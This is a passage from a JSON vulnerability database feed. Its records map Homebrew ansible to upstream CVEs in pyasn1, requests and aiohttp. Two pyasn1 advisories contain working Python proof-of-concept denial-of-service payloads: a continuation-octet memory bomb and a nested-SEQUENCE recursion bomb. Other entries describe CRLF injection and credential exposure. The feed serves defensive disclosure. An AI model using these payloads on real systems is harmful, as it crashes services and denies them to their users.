https://github.com/aio-libs/aiohttp/commit/0c2e9da51126238a421568eb7c5b53e5b5d17b36","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-w2fm-2cpv-w7v5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22815"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/0c2e9da51126238a421568eb7c5b53e5b5d17b36"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-23490","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-63vm-454h-vhhq","CVE-2026-23490","PYSEC-2026-1810"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.6.2","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.4","key":"pkg:pypi/pyasn1@0.6.4","resource":"pyasn1"}]},"summary":"pyasn1 has a DoS vulnerability in decoder","details":"### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId << 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n print(\"[*] Memory limit set to 100MB\")\nexcept:\n print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b'\\x81' * payload_size + b'\\x00'\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length < 128:\n length_bytes = bytes([length])\nelif length < 256:\n length_bytes = b'\\x81' + length.to_bytes(1, 'big')\nelif length < 256**2:\n length_bytes = b'\\x82' + length.to_bytes(2, 'big')\nelif length < 256**3:\n length_bytes = b'\\x83' + length.to_bytes(3, 'big')\nelse:\n # 4 bytes can handle up to 4GB\n length_bytes = b'\\x84' + length.to_bytes(4, 'big')\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b'\\x06' + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n print(\"[*] Decoding (this may take time or exhaust memory)...\")\n result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n print(f'[+] Decoded successfully')\n print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')\n\n # Try to convert to string\n print('[*] Converting to string...')\n try:\n str_result = str(result[0])\n print(f'[+] String succeeded: {len(str_result)} chars')\n if len(str_result) > 10000:\n print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')\n except MemoryError:\n print(f'[-] MemoryError during string conversion!')\n except Exception as e:\n print(f'[-] {type(e).__name__} during string conversion')\n\nexcept MemoryError:\n print('[-] MemoryError: Out of memory!')\nexcept Exception as e:\n print(f'[-] Error: {type(e).__name__}: {e}')\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\"Screenshot_20251219_160840\"\n\n\"Screenshot_20251219_152815\"\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @..\n 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @....\n 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... \n 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @.\n\n[*] Digit distribution analysis:\n '0': 10.1%\n '1': 9.9%\n '2': 10.0%\n '3': 9.9%\n '4': 9.9%\n '5': 10.0%\n '6': 10.0%\n '7': 10.0%\n '8': 9.9%\n '9': 10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23490"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4148"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4147"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4146"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4145"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4144"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4143"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4142"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4141"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4140"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4139"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4138"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:39894"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:3959"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:3958"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2302"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:41928"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:42644"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4943"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:54757"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:5606"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-23490"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2430472"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-63vm-454h-vhhq"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"},{"type":"WEB","url":"https://pypi.org/project/pyasn1"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2300"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2299"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2221"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19712"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:1906"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:1905"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:1904"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:1903"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:17611"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:17595"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:17446"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:14020"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13553"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13545"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13512"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13508"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:37275"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:3359"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:3354"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:30088"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:28042"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2758"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2712"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24977"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24866"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2486"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2483"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2460"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2453"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24483"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24476"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2309"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2303"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-25645","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-gc5v-m9x4-r6x2","CVE-2026-25645","PYSEC-2026-2275"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.33.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Requests has Insecure Temp File Reuse in its extract_zipped_paths() utility function","details":"### Impact\nThe `requests.utils.extract_zipped_paths()` utility function uses a predictable filename when extracting files from zip archives into the system temporary directory. If the target file already exists, it is reused without validation. A local attacker with write access to the temp directory could pre-create a malicious file that would be loaded in place of the legitimate one.\n\n### Affected usages\n**Standard usage of the Requests library is not affected by this vulnerability.** Only applications that call `extract_zipped_paths()` directly are impacted.\n\n### Remediation\nUpgrade to at least Requests 2.33.0, where the library now extracts files to a non-deterministic location.\n\nIf developers are unable to upgrade, they can set `TMPDIR` in their environment to a directory with restricted write access.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-gc5v-m9x4-r6x2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25645"},{"type":"WEB","url":"https://github.com/psf/requests/commit/66d21cb07bd6255b1280291c4fafb71803cdb3b7"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/psf/requests/releases/tag/v2.33.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-30922","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-jr27-m4p2-rc6r","CVE-2026-30922","PYSEC-2026-2263"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.6.3","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.4","key":"pkg:pypi/pyasn1@0.6.4","resource":"pyasn1"}]},"summary":"Denial of Service in pyasn1 via Unbounded Recursion","details":"### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b'\\x30\\x80' \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n decoder.decode(payload)\nexcept RecursionError:\n print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30922"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22970"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22987"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24761"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24762"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:37275"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:41928"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6309"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:65126"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6568"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6720"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6912"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:6926"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:8437"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-30922"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2448553"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:10184"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:12176"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13508"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13512"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13545"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13553"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13902"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13916"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13917"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:14020"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:16009"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:17083"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:17611"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19138"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19355"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19375"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19712"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:20588"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22131"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22132"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22133"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22134"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22135"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:22969"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2026/03/20/4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-34513","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-hcc4-c3v8-rx92","CVE-2026-34513","PYSEC-2026-2095"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP Affected by Denial of Service (DoS) via Unbounded DNS Cache in TCPConnector","details":"### Summary\n\nAn unbounded DNS cache could result in excessive memory usage possibly resulting in a DoS situation.\n\n### Impact\n\nIf an application makes requests to a very large number of hosts, this could cause the DNS cache to continue growing and slowly use excessive amounts of memory.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/c4d77c3533122be353b8afca8e8675e3b4cbda98","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-hcc4-c3v8-rx92"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34513"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c4d77c3533122be353b8afca8e8675e3b4cbda98"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-34514","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-2vrm-gr82-f7m5","CVE-2026-34514","PYSEC-2026-2096"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP has CRLF injection through multipart part content type header construction","details":"### Summary\n\nAn attacker who controls the `content_type` parameter in aiohttp could use this to inject extra headers or similar exploits.\n\n### Impact\n\nIf an application allows untrusted data to be used for the multipart `content_type` parameter when constructing a request, an attacker may be able to manipulate the request to send something other than what the developer intended.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/9a6ada97e2c6cf1ce31727c6c9fcea17c21f6f06","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-2vrm-gr82-f7m5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34514"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9a6ada97e2c6cf1ce31727c6c9fcea17c21f6f06"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-34515","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-p998-jp59-783m","CVE-2026-34515","PYSEC-2026-2097"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP affected by UNC SSRF/NTLMv2 Credential Theft/Local File Read in static resource handler on Windows","details":"### Summary\n\nOn Windows the static resource handler may expose information about a NTLMv2 remote path.\n\n### Impact\n\nIf an application is running on Windows, and using aiohttp's static resource handler (not recommended in production), then it may be possible for an attacker to extract the hash from an NTLMv2 path and then extract the user's credentials from there.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/0ae2aa076c84573df83fc1fdc39eec0f5862fe3d","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-p998-jp59-783m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34515"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/0ae2aa076c84573df83fc1fdc39eec0f5862fe3d"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-34516","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-m5qp-6w8w-w647","CVE-2026-34516","PYSEC-2026-2098"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP has a Multipart Header Size Bypass","details":"### Summary\n\nA response with an excessive number of multipart headers may be allowed to use more memory than intended, potentially allowing a DoS vulnerability.\n\n### Impact\n\nMultipart headers were not subject to the same size restrictions in place for normal headers, potentially allowing substantially more data to be loaded into memory than intended. However, other restrictions in place limit the impact of this vulnerability.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/8a74257b3804c9aac0bf644af93070f68f6c5a6f","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-m5qp-6w8w-w647"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34516"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8a74257b3804c9aac0bf644af93070f68f6c5a6f"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-34517","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-3wq7-rqq7-wx6j","CVE-2026-34517","PYSEC-2026-2099"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP has late size enforcement for non-file multipart fields causes memory DoS","details":"### Summary\n\nFor some multipart form fields, aiohttp read the entire field into memory before checking client_max_size.\n\n### Impact\n\nIf an application uses `Request.post()` an attacker can send a specially crafted multipart request to force significant temporary memory allocation even when the request is ultimately rejected.\n\n-----\n\nPatch: 